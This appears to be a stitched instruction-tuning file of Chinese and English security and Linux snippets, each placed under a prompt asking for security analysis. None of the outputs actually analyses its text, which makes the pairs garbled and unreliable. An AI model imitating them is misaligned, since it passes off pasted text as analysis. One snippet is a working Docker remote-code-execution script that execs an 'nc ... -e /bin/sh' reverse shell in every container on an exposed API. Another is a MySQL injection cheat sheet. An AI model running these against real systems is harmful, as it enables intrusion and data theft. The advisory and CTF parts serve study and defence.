该函数的主要处理流程如下
- 检查并获取elf文件的头部信息。
- 如果目标文件采用动态链接，则使用.interp 节来确定loader的路径。
- 将program header 中记录的相应的段映射到内存中。program header中有以下重要信息
  - 每一个段需要映射到的地址
  - 每一个段相应的权限。
  - 记录哪些节属于哪些段。
  具体的映射如下
  分情况处理
  - 动态链接情况下，将sys_execve的返回地址改为loader(ld.so)的entry point。
  - 静态链接情况下，将sys_execve的返回地址改为程序的入口点。
### ld.so
该文件有以下功能
- 主要用于载入ELF文件中DT_NEED中记录的共享库。
- 初始化工作
  - 初始化GOT表。
  - 将symbol table合并到global symbol table。
### _start
_start函数会将以下项目交给libc_start_main
- 环境变量起始地址
- .init
  - 启动main函数前的初始化工作
- fini
  - 程序结束前的收尾工作。


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## Content Provider SQL注入漏洞
> 阿里聚安全发布于 2016-06-02
### 漏洞描述
当Content Provider的数据源是SQLite数据库时，如果实现不当，而Provider又是暴露的话，则可能会引发本地SQL注入漏洞。
### 影响范围
几乎 Android 所有系统
### 漏洞详情
#### 漏洞位置
```smali
Landroid/content/ContentProvider;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
```
#### 漏洞触发条件
1. 定位ContentProvider组件对应的子类. （对应到smali语句中的特征）
```smali
.super Landroid/content/ContentProvider;
```
2. 判断Provider是否对外暴露（exported属性为true）
3. 判断子类中是否调用query方法
```smali
->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
```
4. 找到projection，selection参数对应的寄存器名称 v1
5. 判断寄存器V1的赋值来源是否为拼接字符串
#### 漏洞原理
当Content Provider的数据源是SQLite数据库时，如果实现不当，而Provider又是暴露的话，则可能会引发本地SQL注入漏洞。
Content Provider的query()的方法定义为：
![图片描述](png/content_provider_p_31.png)
其中参数：
```markdown
uri:为content Uri，要查询的数据库
projection：为要查询的列名
selection和selectionArgs：要指定查询条件
sortOrder：查询结果如何排序
query() 与 SQL 查询对比如下：
```
![图片描述](png/content_provider_p_32.png)
如果query()中使用的是拼接字符串组成SQL语句的形式去查询底层的SQLite数据库时，容易发生SQL注入。
### poc/exp
#### 例子1 乌云公开漏洞wooyun-2016-0175294：
客户端的com.sohu.sohuvideo.provider.PlayHistoryProvider的exported属性为“true”：
![图片描述](png/content_provider_p_33.png)
反编译客户端，追踪PlayHistoryProvider的实现，发现是用拼接字符串形式构造原始的SQL查询语句：
![图片描述](png/content_provider_p_34.png)
使用drozer工具，证明漏洞：
![图片描述](png/content_provider_p_35.png)
### 漏洞修复建议
1. 不必要导出的Provider组件，建议显示设置组件的“android:exported”属性为false
2. 使用selectionArgs进行参数化查询


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

.\" Copyright (c) 1990, 1991 The Regents of the University of California.
.\" All rights reserved.
.\"
.\" This code is derived from software contributed to Berkeley by
.\" Chris Torek and the American National Standards Committee X3,
.\" on Information Processing Systems.
.\"
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that the following conditions
.\" are met:
.\" 1. Redistributions of source code must retain the above copyright
.\"    notice, this list of conditions and the following disclaimer.
.\" 2. Redistributions in binary form must reproduce the above copyright
.\"    notice, this list of conditions and the following disclaimer in the
.\"    documentation and/or other materials provided with the distribution.
.\" 3. All advertising materials mentioning features or use of this software
.\"    must display the following acknowledgement:
.\"	This product includes software developed by the University of
.\"	California, Berkeley and its contributors.
.\" 4. Neither the name of the University nor the names of its contributors
.\"    may be used to endorse or promote products derived from this software
.\"    without specific prior written permission.
.\"
.\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
.\" ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSS...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

version: '3'
services:
  rmi:
    build: "."
    ports:
      - 1099:1099
    environment:
      - RMIIP=192.168.31.88


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 认证相关
本章整理一些安全运营学习过程中，相关认证的学习笔记。
-   阿里云云安全专业认证考试（Alibaba Cloud Certified Professional，ACP）
-   信息系统安全专业认证（Certification for Information System Security Professional，CISSP）
-   进攻性安全认证专家考试（Offensive Security Certified Professional, OSCP）


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 15. 二进制中 1 的个数
## 题目链接
[牛客网](https://www.nowcoder.com/practice/8ee967e43c2c4ec193b040ea7fbb10b8?tpId=13&tqId=11164&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
输入一个整数，输出该数二进制表示中 1 的个数。
### 解题思路
n&(n-1) 位运算可以将 n 的位级表示中最低的那一位 1 设置为 0。不断将 1 设置为 0，直到 n 为 0。时间复杂度：O(M)，其中 M 表示 1 的个数。

```java
public int NumberOf1(int n) {
    int cnt = 0;
    while (n != 0) {
        cnt++;
        n &= (n - 1);
    }
    return cnt;
}
```


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

from __future__ import print_function
import requests
import logging
import json
import urllib.parse

# NOTE
# Enable Remote API with the following command
# /usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
# This is an intended feature, remember to filter the port 2375..

name          = "docker"
description   = "Docker RCE via Open Docker API on port 2375"
author        = "Swissky"

# Step 1 - Extract id and name from each container
ip   = "127.0.0.1"
port = "2375"
data = "containers/json"
url  = "http://{}:{}/{}".format(ip, port, data)
r = requests.get(url)

if r.json:
    for container in r.json():
        container_id   = container['Id']
        container_name = container['Names'][0].replace('/','')
        print((container_id, container_name))

        # Step 2 - Prepare command
        cmd = '["nc", "192.168.1.2", "4242", "-e", "/bin/sh"]'
        data = "containers/{}/exec".format(container_name)
        url = "http://{}:{}/{}".format(ip, port, data)
        post_json = '{ "AttachStdin":false,"AttachStdout":true,"AttachStderr":true, "Tty":false, "Cmd":'+cmd+' }'
        post_header = {
            "Content-Type": "application/json"
        }
        r = requests.post(url, json=json.loads(post_json))

        # Step 3 - Execute command
        id_cmd = r.json()['Id']
        data = "exec/{}/start".format(id_cmd)
        url = "http://{}:{}/{}".format(ip, port, data)
        post_json = '{ "Detach":false,"Tty":false}'
        post_header = {
            "Content-Type": "application/json"
        }
        r = requests.post(url, json=json.loads(post_json))
        print(r)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

hdparm
===
显示与设定硬盘的参数
## 补充说明
**hdparm命令** 提供了一个命令行的接口用于读取和设置IDE或SCSI硬盘参数。
###  语法
```shell
hdparm(选项)(参数)
```
###  选项
```shell
-a<快取分区>：设定读取文件时，预先存入块区的分区数，若不加上<快取分区>选项，则显示目前的设定；
-A<0或1>：启动或关闭读取文件时的快取功能；
-c<I/O模式>：设定IDE32位I/O模式；
-C：检测IDE硬盘的电源管理模式；
-d<0或1>：设定磁盘的DMA模式；
-f：将内存缓冲区的数据写入硬盘，并清除缓冲区；
-g：显示硬盘的磁轨，磁头，磁区等参数；
-h：显示帮助；
-i：显示硬盘的硬件规格信息，这些信息是在开机时由硬盘本身所提供；
-I：直接读取硬盘所提供的硬件规格信息；
-k<0或1>：重设硬盘时，保留-dmu参数的设定；
-K<0或1>：重设硬盘时，保留-APSWXZ参数的设定；
-m<磁区数>：设定硬盘多重分区存取的分区数；
-n<0或1>：忽略硬盘写入时所发生的错误；
-p<PIO模式>：设定硬盘的PIO模式；
-P<磁区数>：设定硬盘内部快取的分区数；
-q:在执行后续的参数时，不在屏幕上显示任何信息；
-r<0或1>:设定硬盘的读写模式；
-S<时间>:设定硬盘进入省电模式前的等待时间；
-t;评估硬盘的读取效率；
-T：平谷硬盘快取的读取效率；
-u<0或1>：在硬盘存取时，允许其他中断要求同时执行；
-v：显示硬盘的相关设定；
-w<0或1>：设定硬盘的写入快取；
-X<传输模式>：设定硬盘的传输模式；
-y：使IDE硬盘进入省电模式；
-Y：使IDE硬盘进入睡眠模式；
-Z：关闭某些Seagate硬盘的自动省电功能。
```
###  参数
设备文件：指定id驱动对应的设备文件名。
###  实例
显示硬盘的相关设置：
```shell
hdparm /dev/sda
/dev/sda:
IO_support = 0 (default 16-bit)
readonly = 0 (off)
readahead = 256 (on)
geometry = 19457［柱面数］/255［磁头数］/63［扇区数］, sectors = 312581808［总扇区数］, start = 0［起始扇区数］
```shell
显示硬盘的柱面、磁头、扇区数：
```shell
hdparm -g /dev/sda
/dev/sda:
geometry = 19457［柱面数］/255［磁头数］/63［扇区数］, sectors = 312581808［总扇区数］, start = 0［起始扇区数］
```
测试硬盘的读取速度：
```shell
hdparm -T /dev/sda
/dev/sda:
 Timing cached reads:   4684 MB in  2.00 seconds = 2342.92 MB/sec
```
测试硬盘缓存的读取速度：
```shell
hdparm -T /dev/xvda
/dev/xvda:
Timing cached reads: 11154 MB in 1.98 seconds = 5633.44 MB/sec
```
检测硬盘的电源管理模式：
```shell
hdparm -C /dev/sda
/dev/sda:
drive state is: standby [省电模式]
```
查询并设置硬盘多重扇区存取的扇区数，以增进硬盘的存取效率：
```shell
hdparm -m /dev/sda
hdparm -m    #参数值为整数值如8 /dev/sda
```
 **附：硬盘坏道修复方法**
```shell
检查：smartctl -l selftest /dev/sda
卸载：umount /dev/sda*
修复：badblocks /dev/sda
```


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

'\"
'\" Copyright (c) 1993 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: close.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\"	Start paragraph describing an argument to a library procedure.
'\"	type is type of argument (int, etc.), in/out is either "in", "out",
'\"	or "in/out" to describe whether procedure reads or modifies arg,
'\"	and indent is equivalent to second arg of .IP (shouldn't ever be
'\"	needed;  use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\"	Give maximum sizes of arguments for setting tab stops.  Type and
'\"	name are examples of largest possible arguments that will be passed
'\"	to .AP later.  If args are omitted, default tab stops are used.
'\"
'\" .BS
'\"	Start box enclosure.  From here until next .BE, everything will be
'\"	enclosed in one large box.
'\"
'\" .BE
'\"	End of box enclosure.
'\"
'\" .CS
'\"	Begin code excerpt.
'\"
'\" .CE
'\"	End code excerpt.
'\"
'\" .VS ?version? ?br?
'\"	Begin vertical sidebar, for use in marking newly-changed parts
'\"	of man pages.  The first argument is ignored and used for recording
'\"	the version when the .VS was added, so that the sidebars can be
'\"	found and removed when they reach a certain age.  If another argument
'\"	is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\"	End of vertical sidebar.
'\"
'\" .DS
'\"	Begin an indented unfilled display.
'\"
'\" .DE
'\"	End of indented unfilled display.
'\"
'\" .SO
'\"	Start of list of standard options for a Tk widget.  The
'\"	options follow on successive lines, in four columns separated
'\"	by tabs.
'\"
'\" .SE
'\"	End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbNam...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# MySQL
---
**常用语句**
```sql
select group_concat(table_name) from information_schema.tables where table_schema=database()
```
查看 xxx 的字段
```sql
select group_concat(column_name) from information_schema.columns where table_name='xxx'
```
读取字段的内容
```sql
select flag from fl4g
```
---
## MySQL 系统库表
**information_schema**
MySQL自带的系统数据库，当中大部分是我们需要了结的信息，比如字符集，权限相关，数据库实体对象信息，外检约束，分区，压缩表，表信息，索引信息，参数，优化，锁和事物等等。所以可以利用这个数据库来进行注入。
```sql
--存储mysql数据库下面的所有表名信息的表
information_schema.tables
    --数据库名 : table_schema
    --表名 : Table_name
-- 存储mysql数据库下面的所有列名信息的表
information_schema.columns
    -- 表名 : table_name
```
---
## MySQL 函数
### 常见系统函数和变量
- version() -- MySQL版本
- user() -- 数据库用户名
- database() -- 数据库名
- @@datadir -- 数据库路径
- @@basedir -- 安装路径
- @@version_compile_os -- 操作系统版本
---
### 常见连接函数
在 select 数据时，我们往往需要将数据进行连接后进行回显。很多的时候想将多个数据或者多行数据进行输出的时候，需要使用字符串连接函数。
**concat(str1,str2,...)**
没有分隔符地连接字符串
**concat_ws(separator,str1,str2,...)**
含有分隔符地连接字符串
**group_concat(str1,str2,...)**
连接一个组的所有字符串，并以逗号分隔每一条数据
https://www.cnblogs.com/lcamry/p/5715634.html
---
### 截取字符串常用函数
**mid()**
此函数为截取字符串一部分。
```sql
MID(column_name,start[,length])
-- column_name  : 必需。要提取字符的字段。
-- start        : 必需。规定开始位置（起始值是 1）。
-- length       : 可选。要返回的字符数。如果省略，则 MID() 函数返回剩余文本。
```
例如 : str="123456" mid(str,2,1) 结果为2
**substr()**
Substr() 和 substring() 函数实现的功能是一样的，均为截取字符串。
```sql
string substring(string, start, length)
string substr(string, start, length)
-- 参数描述同 mid() 函数，第一个参数为要处理的字符串，start 为开始位置，length 为截取的长度。
```
**Left()**
得到字符串左部指定个数的字符
```sql
Left ( string, n )
-- string 为要截取的字符串，n 为长度。
```
**ord()**
返回第一个字符的 ASCII 码
例如 : ORD(MID(DATABASE(),1,1))>114 意为检测 database() 的第一位 ASCII 码是否大于 114，也就是 'r'
---
### 字符串编码
**ASCII()**
返回字符的 ASCII 码值
```sql
select ASCII('hello')
```
**CHAR()**
把整数转换为对应的字符
```sql
SELECT CHAR(77,121,83,81,'76');
```
**Hex()**
返回十六进制值的字符串表示
```sql
SELECT HEX('mysql');
```
**Unhex()**
执行HEX(str)的逆运算
```sql
SELECT UNHEX('4D7953514C');
```
---
### 导入导出函数
**load_file()**
load_file()：以文本方式读取文件，在 Win...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

/*
 * Copyright 2015-2017 the original author or authors.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package example.springdata.rest.headers;

import org.springframework.data.repository.CrudRepository;
import org.springframework.web.bind.annotation.CrossOrigin;

/**
 * Spring Data repository interface to manage {@link Customer} instances.
 *
 * @author Oliver Gierke
 * @author Mark Paluch
 * @soundtrack The Intersphere - Out of phase (Live at Alte Feuerwache Mannheim)
 */
@CrossOrigin(origins = { "http://localhost", "http://localhost:1234" })
public interface CustomerRepository extends CrudRepository<Customer, Long> {}


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

ar
===
建立或修改备存文件，或是从备存文件中抽取文件
## 补充说明
**ar命令** 是一个建立或修改备存文件，或是从备存文件中抽取文件的工具，ar可让您集合许多文件，成为单一的备存文件。在备存文件中，所有成员文件皆保有原来的属性与权限
###  语法
```shell
用法: ar [emulation options] [-]{dmpqrstx}[abcDfilMNoOPsSTuvV] [--plugin <name>] [member-name] [count] archive-file file...
      ar -M [<mri-脚本]
```
###  选项
> 以下内容来自 GNU ar (GNU Binutils) 2.40 版本指令
```shell
命令：
      d            - 从归档文件中删除文件
      m[ab]        - 在归档文件中移动文件
      p            - 打印在归档文件中找到的文件
      q[f]         - 将文件快速追加到归档文件中
      r[ab][f][u]  - 替换归档文件中已有的文件或加入新文件
      s            - 作为 ranlib 工作
      t[O][v]      - display contents of the archive
      x[o]         - 从归档文件中分解文件
特定命令修饰符：
      [a]          - 将文件置于 [成员名] 之后
      [b]          - 将文件置于 [成员名] 之前 (于 [i] 相同)
      [D]          - 将 0 用于时间戳和 uid/gid（默认）
      [D]          - 使用实际时间戳和 uid/gid
      [N]          - 使用名称的实例 [数量]
      [f]          - 截去插入的文件名称
      [P]          - 在匹配时使用完整的路径名
      [o]          - 保留原来的日期
      [O]          - display offsets of files in the archive
      [u]          - 只替换比当前归档内容更新的文件
通用修饰符：
      [c]          - 不在必须创建库的时候给出警告
      [s]          - 创建归档索引 (cf. ranlib)
      [l <text> ]  - specify the dependencies of this library
      [S]          - 不要创建符号表
      [T]          - deprecated, use --thin instead
      [v]          - 输出较多信息
      [V]          - 显示版本号
      @<file>       - 从 <file> 读取选项
      --target=BFDNAME - 指定目标对象格式为 BFDNAME
      --output=DIRNAME - specify the output directory for extraction operations
      --record-libdeps=<text> - specify the dependencies of this library
      --thin       - make a thin archive
可选项：
      --plugin <p> - 加载指定的插件程序
仿真选项：
      没有仿真特有的选项
```
### 实例
打包文件
```shell
[root@localhost ~]# ls   # 显示当前目录文件
a.c	b.c d.c   install.log	  qte
anaconda-ks.cfg c.c Desktop
[root@localhost ~]# ar rv one.bak a.c b.c  # 打包 a.c b.c文件
ar: 正在创建 one.bak
a - a.c
a - b.c
```
打包多个文件
```shell
[root@localhost ~]# ar rv two.bak *.c  // 打包以.c结尾的文件
ar: 正在创建 two.bak
a - a.c
a - b.c
a - c.c
a - d.c
```...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

tree
===
树状图列出目录的内容
## 补充说明
**tree命令** 以树状图列出目录的内容。
### 语法
```shell
tree(选项)(参数)
```
### 选项
```shell
------- 列表选项 -------
-a            # 显示所有文件和目录。
-d            # 显示目录名称而非文件。
-l            # 如遇到性质为符号连接的目录，直接列出该连接所指向的原始目录。
-f            # 在每个文件或目录之前，显示完整的相对路径名称。
-x            # 将范围局限在现行的文件系统中，若指定目录下的某些子目录，其存放于另一个文件系统上，则将该目录予以排除在寻找范围外。
-L level      # 限制目录显示层级。
-R            # Rerun tree when max dir level reached.
-P pattern    # <范本样式> 只显示符合范本样式的文件和目录名称。
-I pattern    # Do not list files that match the given pattern.
--ignore-case # Ignore case when pattern matching.
--matchdirs   # Include directory names in -P pattern matching.
--noreport    # Turn off file/directory count at end of tree listing.
--charset X   # Use charset X for terminal/HTML and indentation line output.
--filelimit # # Do not descend dirs with more than # files in them.
--timefmt <f> # Print and format time according to the format <f>.
-o filename   # Output to file instead of stdout.
-------- 文件选项 ---------
-q            # 用“？”号取代控制字符，列出文件和目录名称。
-N            # 直接列出文件和目录名称，包括控制字符。
-Q            # Quote filenames with double quotes.
-p            # 列出权限标示。
-u            # 列出文件或目录的拥有者名称，没有对应的名称时，则显示用户识别码。
-g            # 列出文件或目录的所属群组名称，没有对应的名称时，则显示群组识别码。
-s            # 列出文件和目录大小。
-h            # Print the size in a more human readable way.
--si          # Like -h, but use in SI units (powers of 1000).
-D            # 列出文件或目录的更改时间。
-F            # 在执行文件，目录，Socket，符号连接，管道名称名称，各自加上"*"，"/"，"@"，"|"号。
--inodes      # Print inode number of each file.
--device      # Print device ID number to which each file belongs.
------- 排序选项 -------
-v            # Sort files alphanumerically by version.
-t            # 用文件和目录的更改时间排序。
-c            # Sort files by last status change time.
-U            # Leave files unsorted.
-r            # Reverse the order of the sort.
--dirsfirst   # List directories before files (-U disables).
--sort X      # Select sort: name,version,size,mtime,ctime.
------- 图形选项 ------
-i...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Magic Padding Oracle
Cryptography, 450 points
## Description:
> Can you help us retreive the flag from this crypto service?
```python
#!/usr/bin/python2
import os
import json
import sys
import time
from Crypto.Cipher import AES
cookiefile = open("cookie", "r").read().strip()
flag = open("flag", "r").read().strip()
key = open("key", "r").read().strip()
welcome = """
Welcome to Secure Encryption Service version 1.51
"""
def pad(s):
  return s + (16 - len(s) % 16) * chr(16 - len(s) % 16)
def isvalidpad(s):
  return ord(s[-1])*s[-1:]==s[-ord(s[-1]):]
def unpad(s):
  return s[:-ord(s[len(s)-1:])]
def encrypt(m):
  IV="This is an IV456"
  cipher = AES.new(key.decode('hex'), AES.MODE_CBC, IV)
  return IV.encode("hex")+cipher.encrypt(pad(m)).encode("hex")
def decrypt(m):
  cipher = AES.new(key.decode('hex'), AES.MODE_CBC, m[0:32].decode("hex"))
  return cipher.decrypt(m[32:].decode("hex"))
# flush output immediately
sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0)
print welcome
print "Here is a sample cookie: " + encrypt(cookiefile)
# Get their cookie
print "What is your cookie?"
cookie2 = sys.stdin.readline()
# decrypt, but remove the trailing newline first
cookie2decoded = decrypt(cookie2[:-1])
if isvalidpad(cookie2decoded):
   d=json.loads(unpad(cookie2decoded))
   print "username: " + d["username"]
   print "Admin? " + d["is_admin"]
   exptime=time.strptime(d["expires"],"%Y-%m-%d")
   if exptime > time.localtime():
      print "Cookie is not expired"
   else:
      print "Cookie is expired"
   if d["is_admin"]=="true" and exptime > time.localtime():
      print "The flag is: " + flag
else:
   print "invalid padding"
```
## Solution:
The service accepts a cookie encrypted with AES-CBC and if the cookie is valid, outputs the flag in case the cookie belongs to an admin.
However, the service has a critical flaw - given an encrypted input, it will tell the user if the input's padding is correct or not. This allows executing a [Padding oracle attack on CBC encryption](ht...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

##Smashthestate (Web, 400p)
	This beautiful website for testing zip files contains a replica of a vulnerability found in a well known bug bounty site.
	Log in with rob:smashthestate then exploit the vulnerability to gain access to the 'admin' account and the flag.
	Automated tools and bruteforcing will not help you solve this challenge.
###PL
[ENG](#eng-version)
###ENG version


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Writeup 9447 Security Society CTF 2015
Uczestniczyliśmy (cr019283, c7f.m0d3, msm, Rev, other019, nazywam i Shalom) w 9447 CTF, i znowu spróbujemy opisać zadania z którymi walczyliśmy (a przynajmniej te, które pokonaliśmy).
![](results.png)
### Spis treści:
* [binned (Steganography) 100]
* [Give feedback (Misc) 15]
* [dub-key (Crypto) 130](dub-key)
* [imaged (Steganography) 90]
* [Hello, Joe (Reverse engineering) 160]
* [cards (Exploitation) 140]
* [BWS (Exploitation) 190]
* [danklang (Reverse engineering) 100](danklang)
* [4w1h (Misc) 100](4w1h)
* [randBox (Crypto) 120](randBox)
* [RedOs (Exploitation) 160]
* [calpop reloaded (Exploitation) 130]
* [nicklesndimes (Web) 200]
* [premonition (Web) 140]
* [YWS (Web) 130]
* [The *real* flag finder (Reverse engineering) 70]
* [flag finder (Reverse engineering) 1]
* [calcpop (Exploitation) 80]
* [Get help (Misc) 10]
* [sanutf8y_check (Web) 1](sanutf8y_check)
## ENG version
### Table of contents:
* [binned (Steganography) 100]
* [Give feedback (Misc) 15]
* [dub-key (Crypto) 130](dub-key#eng-version)
* [imaged (Steganography) 90]
* [Hello, Joe (Reverse engineering) 160]
* [cards (Exploitation) 140]
* [BWS (Exploitation) 190]
* [danklang (Reverse engineering) 100](danklang#eng-version)
* [4w1h (Misc) 100](4w1h#eng-version)
* [randBox (Crypto) 120](randBox#eng-version)
* [RedOs (Exploitation) 160]
* [calpop reloaded (Exploitation) 130]
* [nicklesndimes (Web) 200]
* [premonition (Web) 140]
* [YWS (Web) 130]
* [The *real* flag finder (Reverse engineering) 70]
* [flag finder (Reverse engineering) 1]
* [calcpop (Exploitation) 80]
* [Get help (Misc) 10]
* [sanutf8y_check (Web) 1](sanutf8y_check#eng-version)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

.\" 發信人: hendrix.bbs@bbs.mis.cycu.edu.tw (啾...), 信區: Linux
.\" 標  題: printcap man page 中譯
.\" 發信站: 中原資管森林站 (Sun Mar 30 16:55:48 1997)
.\" 轉信站: cis_nctu!news.cis.nctu!news-peer.nctu!news.nctu!spring!News.csie.ncu!F
.\" --
.\"
.TH PRINTCAP 8  "UNIX Programmer's Manual"  "4.2 Berkeley Distribution"  "May 10, 1991"
.SH NAME
.B printcap - 打印机相容性数据库
.SH "总览 SYNOPSIS"
.B printcap
.SH "描述 DESCRIPTION"
.B Printcap
是
.B termcap(5)
的簡單版, 用來描述 line printers. 當用到 spool 系
統時, 一定會去參考 printcap 這個檔. 允許動態地加入及刪除印表機. 在這資料
庫中的每一段敘述代表一台印表機.
This data base may not be substituted for, as is possible for termcap,
because it may allow accounting to be bypassed.
.PP
預設的印表機是 lp, 雖然環境變數 PRINTER 可能優於(override)此. 每一
個用到 spool 的軟體都支援 -p 的選項, 用以選擇印表機. 如果想知道如何為一
台印表機設定資料的討論, 請參照 4.3 BSD Line Printer Spooler Manual.
.SH "相容性 CAPABILITIES"
根據
.BI termcap(5)
對檔案輸出的描述.
.nf
     Name       Type      Description
     af         str       NULL                   name of accounting file
     br         num       none                   if lp is a tty, set the baud
                                                 rate (ioctl(2) call)
     cf         str       NULL                   cifplot data filter
     df         str       NULL                   tex data filter (DVI format)
     fc         num       0                      if lp is a tty, clear flag
                                                 bits (sgtty.h)
     ff         str       `\f'                   string to send for a form
                                                 feed
     fo         bool      false                  print a form feed when
                                                 device is opened
     fs         num       0                      like `fc' but set bits
     gf         str       NULL                   graph data filter (plot(3)
                                                 format)
     hl         bool      false                  print the burst header page
                                              ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

.TH SUBST 1 local  "25 Feb 1990"
.SH NAME
subst \- 替换文件中的定义
.SH "总览 (SYNOPSIS)"
.B subst
[
.B \-e
editor
]
.B \-f
substitutions
victim ...
.SH "描述 (DESCRIPTION)"
.I Subst
能够 替换 文件 的 内容, 适用于 针对 本地情况 定制 软件. 它 根据
.I substitutions
的 内容, 修改 每一个
.I victim
文件.
.PP
在
.I substitutions
文件 中, 每个 替换说明(substitution) 占用 一行. 每一行 包含 两个域, 用
一个或多个 tab 符 隔开.
第一个 域 是 替换说明 的 \fI名字(name)\fP, 第二个 域 是 它的 \fI值(value)\fP.
两者 均不应该 包含 ``#'' 字符; 而使用 文本编辑器 的 转义符, 如 ``&'' 和 ``\e'',
也是 不明智地; 名字 最好 限制在 字母和数字 中; 以 ``#' 开始 的 行 是 注释,
将被 忽略.
.PP
在 \fIvictim\fP 文件 中, 每一个 需要 替换 的 行 (\fI目标行\fP) 必须 跟在
\fI原形行(prototype line)\fP 后面. 原形行 应该 有 这样 的 限制: 将来 其他 程序
处理 这个文件 的 时候, 它 被视为 注释. 原形行 必须 包含 目标行 的 "原形", 该
"原形" 用 ``=(\&)<'' 和 ``>(\&)='' 括起来, 这一行 的 其他内容 都被 忽略掉.
.I Subst
将 分析 这个原形, 寻找 替换说明 中 名字域 的 所有 实例, 名字实例 是用
``@\&<'' 和 ``>\&@'' 括起来的, 把 它们 改变成 对应的值, 然后 用这个 结果 替换
目标行.
.SH "选项 (OPTIONS)"
.TP
.B \-e
替换 操作 由
.IR sed (1)
编辑器 完成, 它 必须 放在
.I /bin
或
.I /usr/bin
目录 下面. 用 ``\-e'' 开关 可以 指定 一个 不同位置 的 执行程序.
.SH "示例 (EXAMPLE)"
.PP
如果 \fIsubstitutions\fP 文件内容 是
.PP
.RS
.nf
.ta \w'SECOND'u+4n
FIRST	111
SECOND	222
.fi
.RE
.PP
而 \fIvictim\fP 文件 是
.PP
.RS
.nf
x = 2;
/* =(\&)<y = @\&<FIRST>\&@ + @\&<SECOND>\&@;>(\&)= */
y = 88 + 99;
z = 5;
.fi
.RE
.PP
那么 ``\fBsubst \-f \fP\fIsubstitutions victim\fP'' 命令 把 \fIvictim\fP 改变成:
.PP
.RS
.nf
x = 2;
/* =(\&)<y = @\&<FIRST>\&@ + @\&<SECOND>\&@;>(\&)= */
y = 111 + 222;
z = 5;
.fi
.RE
.SH "文件 (FILES)"
.ta \w'\fIvictimdir\fP/substtmp.old'u+4n
\fIvictimdir\fP/substtmp.new	建立出来的新版本文件
.br
\fIvictimdir\fP/substtmp.old	经过改名的老版本文件
.SH "另见 (SEE ALSO)"
sed(1)
.SH "诊断 (DIAGNOSTICS)"
如果 subst 无法 创建 临时文件, 或者 临时文件 已经 存在, 程序 中止 并 报错.
.SH "历史 (HISTORY)"
Henry Spencer 写于 U of Toronto.
.PP
Rich $alz 在 1991 年 7 月 增加了 ``\-e'' 选项.
.SH BUGS
当 创建 准备 用 \fIsubst\fP 处理的 文件 时, 很容易 忘记 在 原形行 后面 插入
一个 要命的 目标行; 如果 你 忘了 目标行, \fIsubst\fP 最终 会 删掉 原形行
下面一行, 不管 那行 是 什么.
.SH "[中文版维护人]"
.B 徐明 <xuming@users.sourceforge.net>
.SH "[中文版最新更新]"
.BR 2004/02/28
.SH "《中国Linux论坛man手册页翻译计划》"
.BI http://cmpp.linuxforum.net


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Summary
* [前言](README.md)
* [Preface](README_EN.md)
* [目录](Content/Contents.md)
* [第一章：生](Content/Contents.md)
    * [1-10课](Content/1-10.md)
